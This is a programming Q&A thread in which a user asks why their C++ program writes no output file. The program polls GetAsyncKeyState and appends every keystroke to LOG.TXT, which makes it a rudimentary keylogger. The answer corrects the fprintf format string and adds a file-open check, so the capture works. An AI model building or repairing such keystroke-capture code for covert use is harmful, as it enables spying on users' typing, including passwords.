File input not working - file-io

Question

I have this C++ program that will get key code and store it as a string in a text file. After I run the program the file is supposed to appear alongside my cpp file but I doesn't appear. I think is got to do with the Save function where the file input and output is happening. Does anyone notices any errors(I get none while compiling).
#include <iostream>
#include <Windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;
int Save (int Key_Stroke, char *file);
int main(){
char i;
while(1){
for(i = 8; i <= 190; i++){
if(GetAsyncKeyState(i) == -32767){
Save(i, "LOG.TXT");
}
}
}
system("PAUSE");
return 0;
}
int Save (int Key_Stroke, char *file){
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &Key_Stroke);
fclose(OUTPUT_FILE);
cout << Key_Stroke << endl;
return 0;
}

Answer 1

When using C fprintf (this isn't typically used in C++, see ofstream) you don't use reference operator & because you are passing value to function, not address. Also formatting string is wrong, you want to write int %d, not array of chars %s (more here)
Your Save function should look like
int Save(int Key_Stroke, const char *file)
{
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE = fopen(file, "a+");
if(OUTPUT_FILE != NULL)
{
fprintf(OUTPUT_FILE, "%d", Key_Stroke);
fclose(OUTPUT_FILE);
}
cout << Key_Stroke << endl;
return 0;
}
Also notice const keyword in second argument of the function. This should be used to avoid writing to constant area of memory - directly written array of chars "LOG.TXT" .
Next thing, you should always check if the file you are trying to write to is correctly opened if(OUTPUT_FILE != NULL) .